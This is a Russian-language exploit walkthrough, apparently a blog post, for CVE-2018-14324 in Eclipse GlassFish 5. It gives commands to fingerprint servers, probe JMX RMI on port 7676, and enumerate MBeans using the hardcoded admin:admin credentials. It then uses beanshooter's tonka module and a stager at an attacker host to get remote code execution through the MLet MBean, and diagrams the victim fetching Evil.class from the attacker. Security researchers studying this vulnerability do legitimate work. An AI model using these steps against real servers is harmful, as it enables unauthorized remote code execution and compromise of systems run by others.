
Hacking Eclipse GlassFish - CVE-2018-14324
Описание CVE-2018-14324 не полностью объясняет влияние этой уязвимости. Кратко: у вас есть доступ к Java Management Extensions (JMX) через жестко закодированные учетные данные admin:admin.
Хотя воздействие указано как «потенциально чувствительная информация, выполнение операций с базой данных или манипуляции с демо-версией через сессию JMX RMI», оно не объясняет, что подразумевается под манипуляциями через сессию JMX RMI.
Я углубился только из-за высокого показателя CVSS 9.8 и обнаружил, что практически можно достичь RCE через MBean javax.management.loading:type=MLet, который по умолчанию включен в экземпляре GlassFish 5.
Перечислите сервер GlassFish, посмотрев на баннер версии.
curl http://<TARGET>:8080/ -i | grep 'Server:'
curl http://<TARGET>:8181/ -ik | grep 'Server:'
curl http://<TARGET>:80/ -i | grep 'Server:'
Если версия 5, то она уязвима к CVE-2018-14324.
Затем проверьте, запущена ли служба JMX RMI на порту 7676.
nc <IP_ADDRESS> 7676
Вы должны увидеть строку подключения к службе JMX RMI. Сохраните эту строку для дальнейшего использования.
Например:
service:jmx:rmi://vm31465/jndi/rmi://vm31465:8686/vm31465/7676/jmx
Как видите, в строке подключения используется имя хоста vm31465, упоминаются два порта: 8686 и 7676.
Вы должны добавить vm31465 в ваш файл /etc/hosts, указав IP-адрес . Если вы используете Beanshooter, это не обязательно.
Что такое, черт возьми, JMX? Это Java Management Extensions (JMX) — технология, позволяющая реализовать интерфейсы управления для Java-приложений. Думайте об этом как о SNMP для Java-приложений.
Сначала вам нужно перечислить доступные MBeans в целевой системе.
java DumpJMX.java "service:jmx:rmi:///jndi/rmi://<TARGET>:7776/<TARGET>/7676/jmxrmi"
# если не работает
java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum <IP> 8686 --password admin --user admin
С помощью этого скрипта вы получите список MBeans, их атрибутов и операций.
MBean com.sun.management:type=DiagnosticCommand позволяет выполнять диагностические команды в целевой JVM. Вы можете использовать его для перечисления свойств системы; см. DiagnosticCommand.java для получения дополнительной информации.
Если вы видите javax.management.loading:type=MLet, вы должны иметь возможность эксплуатировать цель. Этот MBean позволяет загружать удаленные Java-классы в целевую JVM.
Однако менеджер безопасности Java может помешать вам выполнить произвольный код.
Единственным рабочим эксплойтом для RCE был модуль tomka в beanshooter. Пользовательские эксплойты блокировались менеджером безопасности. Загрузка MLet все еще работала, но классу не разрешалось выполнять код.
Используйте модуль Beanshooter tomka для эксплуатации цели.
git clone https://github.com/qtc-de/beanshooter.git
cd beanshooter
mvn clean package -DskipTests
## STAGER
java -jar beanshooter-4.1.0-jar-with-dependencies.jar stager <ATTACKER-IP> 8080 tonka
## DEPLOY
java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka deploy --username admin --password admin --stack-trace <TARGET> 7776 --stager-url http://<ATTACKER-IP>:8080 --no-stager
## COMMAND EXECUTION
java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka exec --username admin --password admin --stack-trace <TARGET> 7776 'id'
Вы также можете выполнять отладку, написав свой собственный загрузчик MBean и отслеживая, подключается ли цель к вашему серверу MLet. Последовательность следующая:
attacker -> victim:7776 : поиск MBean javax.management.loading:type=MLet
attacker:8080 <- victim:7776 : запрос файла MLet
attacker:8080 -> victim:7776 : MLet с URL-адресом файла Java-класса (например, http://attacker:8080/Evil.class)
attacker:8080 <- victim:7776 : запрос файла Java-класса
attacker:8080 -> victim:7776 : файл Java-класса
attacker -> victim:7776 : вызов метода загруженного Java-класса (например, Evil.listFiles())